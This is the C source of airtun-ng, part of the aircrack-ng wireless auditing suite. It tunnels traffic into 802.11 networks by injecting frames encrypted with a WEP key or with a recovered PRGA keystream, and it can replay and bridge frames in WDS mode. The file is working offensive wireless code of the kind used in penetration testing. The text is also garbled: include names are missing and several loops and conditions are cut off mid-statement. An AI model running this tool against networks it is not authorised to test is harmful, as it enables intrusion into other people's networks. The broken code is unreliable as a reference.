0ustar rootroot/* * 802.11 WEP network connection tunneling * based on aireplay-ng * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2006, 2007, 2008, 2009 Martin Beck * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifdef linux #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "crypto.h" #include "common.h" #include "osdep/osdep.h" static struct wif *_wi_in, *_wi_out; #define CRYPT_NONE 0 #define CRYPT_WEP 1 //if not all fragments are available 60 seconds after the last fragment was received, they will be removed #define FRAG_TIMEOUT (1000000*60) extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2013 Thomas d'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " usage: airtun-ng \n" "\n" " -x nbpps : number of packets per second (default: 100)\n" " -a bssid : set Access Point MAC address\n" " : In WDS Mode this sets the Receiver\n" " -i iface : capture packets from this interface\n" " -y file : read PRGA from this file\n" " -w wepkey : use this WEP-KEY to encrypt packets\n" " -t tods : send frames to AP (1) or to client (0)\n" " : or tunnel them into a WDS/Bridge (2)\n" " -r file : read frames out of pcap file\n" "\n" " WDS/Bridge Mode options:\n" " -s transmitter : set Transmitter MAC address for WDS Mode\n" " -b : bidirectional mode. This enables communication\n" " : in Transmitter's AND Receiver's networks.\n" " : Works only if you can see both stations.\n" "\n" " Repeater options:\n" " --repeat : activates repeat mode\n" " --bssid : BSSID to repeat\n" " --netmask : netmask for BSSID filter\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_trans[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *s_face; char *s_file; uchar *prga; int r_nbpps; int prgalen; int tods; int bidir; uchar wepkey[64]; int weplen, crypt; int repeat; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; struct tif *dv_ti; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; struct ARP_req { unsigned char *buf; int len; }; typedef struct Fragment_list* pFrag_t; struct Fragment_list { unsigned char source[6]; unsigned short sequence; unsigned char* fragment[16]; short fragmentlen[16]; char fragnum; unsigned char* header; short headerlen; struct timeval access; char wep; pFrag_t next; }; struct net_entry { unsigned char *addr; unsigned char net; struct net_entry *next; }; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; struct net_entry *nets = NULL; int ctrl_c, alarmed; char * iwpriv; pFrag_t rFragment; struct net_entry *find_entry(unsigned char *adress) { struct net_entry *cur = nets; if (cur == NULL) return NULL; do { if (! memcmp(cur->addr, adress, 6)) { return cur; } cur = cur->next; } while (cur != nets); return NULL; } void set_entry(unsigned char *adress, unsigned char network) { struct net_entry *cur; if( nets == NULL ) { nets = malloc(sizeof(struct net_entry)); nets->addr = malloc(6 * sizeof(unsigned char)); nets->next = nets; cur = nets; } else { cur = find_entry(adress); if (cur == NULL) { cur = malloc(sizeof(struct net_entry)); cur->addr = malloc(6 * sizeof(unsigned char)); cur->next = nets->next; nets->next = cur; } } memcpy(cur->addr, adress, 6); cur->net = network; } int get_entry(unsigned char *adress) { struct net_entry *cur = find_entry(adress); if (cur == NULL) { return -1; } else { return cur->net; } } void swap_ra_ta(unsigned char *h80211) { unsigned char mbuf[6]; memcpy(mbuf , h80211+ 4, 6); memcpy(h80211+ 4, h80211+10, 6); memcpy(h80211+10, mbuf , 6); } void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int addFrag(unsigned char* packet, unsigned char* smac, int len) { pFrag_t cur = rFragment; int seq, frag, wep, z, i; unsigned char frame[4096]; unsigned char K[128]; if(packet == NULL) return -1; if(smac == NULL) return -1; if(len <= 32 || len > 2000) return -1; if(rFragment == NULL) return -1; memset(frame, 0, 4096); memcpy(frame, packet, len); z = ( ( frame[1] & 3 ) != 3 ) ? 24 : 30; frag = frame[22] & 0x0F; seq = (frame[22] >> 4) | (frame[23] << 4); wep = (frame[1] & 0x40) >> 6; if(frag < 0 || frag > 15) return -1; if(wep && opt.crypt != CRYPT_WEP) return -1; if(wep) { //decrypt it memcpy( K, frame + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( frame + z + 4, len - z - 4, K, 3 + opt.weplen ) == 0 && (len-z-4 > 8) ) { printf("error decrypting... len: %d\n", len-z-4); return -1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ len -= 8; memcpy( frame + z, frame + z + 4, len - z ); frame[1] &= 0xBF; } while(cur->next != NULL) { cur = cur->next; if( (memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence) && (wep == cur->wep) ) { //entry already exists, update // printf("got seq %d, added fragment %d \n", seq, frag); if(cur->fragment[frag] != NULL) return 0; if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; gettimeofday(&cur->access, NULL); return 0; } } // printf("new seq %d, added fragment %d \n", seq, frag); //new entry, first fragment received //alloc mem cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list)); cur = cur->next; for(i=0; i<16; i++) { cur->fragment[i] = NULL; cur->fragmentlen[i] = 0; } if( (frame[1] & 0x04) == 0 ) { // printf("max fragnum is %d\n", frag); cur->fragnum = frag; //no higher frag number possible } else { cur->fragnum = 0; } //remove retry & more fragments flag frame[1] &= 0xF3; //set frag number to 0 frame[22] &= 0xF0; memcpy(cur->source, smac, 6); cur->sequence = seq; cur->header = (unsigned char*) malloc(z); memcpy(cur->header, frame, z); cur->headerlen = z; cur->fragment[frag] = (unsigned char*) malloc(len-z); memcpy(cur->fragment[frag], frame+z, len-z); cur->fragmentlen[frag] = len-z; cur->wep = wep; gettimeofday(&cur->access, NULL); cur->next = NULL; return 0; } int timeoutFrag() { pFrag_t old, cur = rFragment; struct timeval tv; int64_t timediff; int i; if(rFragment == NULL) return -1; gettimeofday(&tv, NULL); while(cur->next != NULL) { old = cur->next; timediff = (tv.tv_sec - old->access.tv_sec)*1000000 + (tv.tv_usec - old->access.tv_usec); if(timediff > FRAG_TIMEOUT) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); } cur = cur->next; } return 0; } int delFrag(unsigned char* smac, int sequence) { pFrag_t old, cur = rFragment; int i; if(rFragment == NULL) return -1; if(smac == NULL) return -1; if(sequence < 0) return -1; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //remove captured fragments if(old->header != NULL) free(old->header); for(i=0; i<16; i++) if(old->fragment[i] != NULL) free(old->fragment[i]); cur->next = old->next; free(old); return 0; } cur = cur->next; } return 0; } unsigned char* getCompleteFrag(unsigned char* smac, int sequence, int *packetlen) { pFrag_t old, cur = rFragment; int i, len=0; unsigned char* packet=NULL; unsigned char K[128]; if(rFragment == NULL) return NULL; if(smac == NULL) return NULL; while(cur->next != NULL) { old = cur->next; if(memcmp(smac, old->source, 6) == 0 && old->sequence == sequence) { //check if all frags available if(old->fragnum == 0) return NULL; for(i=0; i<=old->fragnum; i++) { if(old->fragment[i] == NULL) return NULL; len += old->fragmentlen[i]; } if(len > 2000) return NULL; // printf("got a complete frame -> build it\n"); if(old->wep) { if( opt.crypt == CRYPT_WEP) { packet = (unsigned char*) malloc(len+old->headerlen+8); K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; K[3] = 0x00; memcpy(packet, old->header, old->headerlen); len=old->headerlen; memcpy(packet+len, K, 4); len+=4; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } /* write crc32 value behind data */ if( add_crc32(packet+old->headerlen+4, len-old->headerlen-4) != 0 ) return NULL; len += 4; //icv memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( packet+old->headerlen+4, len-old->headerlen-4, K, opt.weplen+3 ); packet[1] = packet[1] | 0x40; //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } else return NULL; } else { packet = (unsigned char*) malloc(len+old->headerlen); memcpy(packet, old->header, old->headerlen); len=old->headerlen; for(i=0; i<=old->fragnum; i++) { memcpy(packet+len, old->fragment[i], old->fragmentlen[i]); len+=old->fragmentlen[i]; } //delete captured fragments delFrag(smac, sequence); *packetlen = len; return packet; } } cur = cur->next; } return packet; } int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "r"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); if(size > 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(uchar *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet, int data_begin) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet + data_begin, opt.prga, 4); return 0; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n 0 ) { if(create_wep_packet(h80211, &length, data_begin) != 0) return 1; } if ((opt.tods == 2) && opt.bidir) { dest_net = get_entry(packet); //Search the list to determine in which network part to send the packet. if (dest_net == 0) { send_packet(h80211, length); } else if (dest_net == 1) { swap_ra_ta(h80211); send_packet(h80211, length); } else { send_packet(h80211, length); swap_ra_ta(h80211); send_packet(h80211, length); } } else { send_packet(h80211, length); } return 0; } int packet_recv(uchar* packet, int length) { uchar K[64]; uchar bssid[6], smac[6], dmac[6]; uchar *buffer; int len; int z; int fragnum, seqnum, morefrag; int process_packet; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(length < z+8) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } process_packet = 0; // In WDS mode we want to see packets from both sides of the network if ( ( packet[0] & 0x08 ) == 0x08 ) { if( memcmp( bssid, opt.r_bssid, 6) == 0 ) { process_packet = 1; } else if( opt.tods == 2 && memcmp( bssid, opt.r_trans, 6) == 0 ) { process_packet = 1; } } if( process_packet ) { if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && opt.crypt == CRYPT_WEP ) { /* check the extended IV flag */ if( ( packet[z + 3] & 0x20 ) == 0 ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } } switch( packet[1] & 3 ) { case 1: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+10, 6); //SRC_MAC break; case 2: memcpy( h80211, packet+4 , 6); //DST_MAC memcpy( h80211+6, packet+16, 6); //SRC_MAC break; case 3: memcpy( h80211, packet+16, 6); //DST_MAC memcpy( h80211+6, packet+24, 6); //SRC_MAC break; default: break; } /* Keep track of known MACs, so we only have to tunnel into one side of the WDS network */ if (((packet[1] & 3) == 3) && opt.bidir) { if (! memcmp(packet+10, opt.r_bssid, 6)) { set_entry(packet+24, 0); } if (! memcmp(packet+10, opt.r_trans, 6)) { set_entry(packet+24, 1); } } if( memcmp(dmac, SPANTREE, 6) == 0 ) { if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z, length-z); length = length-z+14; h80211[12] = ((length-14)>>8)&0xFF; h80211[13] = (length-14)&0xFF; } else { memcpy( h80211+12, packet+z+6, 2); //copy ether type if( length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; } ti_write(dev.dv_ti, h80211, length); } else { return 1; } return 0; } int main( int argc, char *argv[] ) { int ret_val, len, i, n, ret; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; unsigned char bssid[6]; char *s, buf[128]; int caplen; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); opt.r_nbpps = 100; opt.tods = 0; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"repeat", 0, 0, 'f'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "x:a:h:i:r:y:t:s:bw:m:d:fH", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; break; case 't' : if( atoi(optarg) == 1) opt.tods = 1; else if ( atoi(optarg) == 2) opt.tods = 2; else opt.tods = 0; break; case 's' : if( getmac( optarg, 1, opt.r_trans ) != 0 ) { printf( "Invalid Transmitter MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'b' : opt.bidir = 1; break; case 'w' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( opt.crypt != CRYPT_NONE ) { printf( "Encryption key already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.crypt = CRYPT_WEP; i = 0; s = optarg; buf[0] = s[0]; buf[1] = s[1]; buf[2] = '\0'; while( sscanf( buf, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { printf( "Invalid WEP key.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.wepkey[i++] = n; if( i >= 64 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buf[0] = s[0]; buf[1] = s[1]; } if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 ) { printf( "Invalid WEP key length.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.weplen = i; break; case 'm': if ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); printf("\"%s --help\" for help.\n", argv[0]); break; } if(getmac(optarg, 1, opt.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f': opt.repeat = 1; break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'H' : printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( ( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(opt.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 ) { printf( "Please specify a BSSID (-a).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } if( ( memcmp( opt.r_trans, NULL_MAC, 6) == 0 ) && opt.tods == 2 ) { printf( "Please specify a Transmitter (-s).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( dev.fd_rtc > 0 ) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, 1024 ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* __i386__ */ /* open the replay interface */ _wi_out = wi_open(argv[optind]); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } printf( "created tap interface %s\n", ti_name(dev.dv_ti)); if(opt.prgalen <= 0 && opt.crypt == CRYPT_NONE) { printf( "No encryption specified. Sending and receiving frames through %s.\n", argv[optind]); } else if(opt.crypt != CRYPT_NONE) { printf( "WEP encryption specified. Sending and receiving frames through %s.\n", argv[optind] ); } else { printf( "WEP encryption by PRGA specified. No reception, only sending frames through %s.\n", argv[optind] ); } if( opt.tods == 1 ) { printf( "ToDS bit set in all frames.\n" ); } else if( opt.tods == 2) { printf( "ToDS and FromDS bit set in all frames (WDS/Bridge) - " ); if (opt.bidir) { printf( "bidirectional mode\n" ); } else { printf( "unidirectional mode\n" ); } } else { printf( "FromDS bit set in all frames.\n" ); } for( ; ; ) { if(opt.s_file != NULL) { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( opt.repeat ) { if( memcmp(opt.f_bssid, NULL_MAC, 6) != 0 ) { switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); break; } if( memcmp(opt.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) continue; } else { if( memcmp(opt.f_bssid, bssid, 6) != 0 ) continue; } } send_packet(h80211, caplen); } packet_recv( h80211, caplen); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( 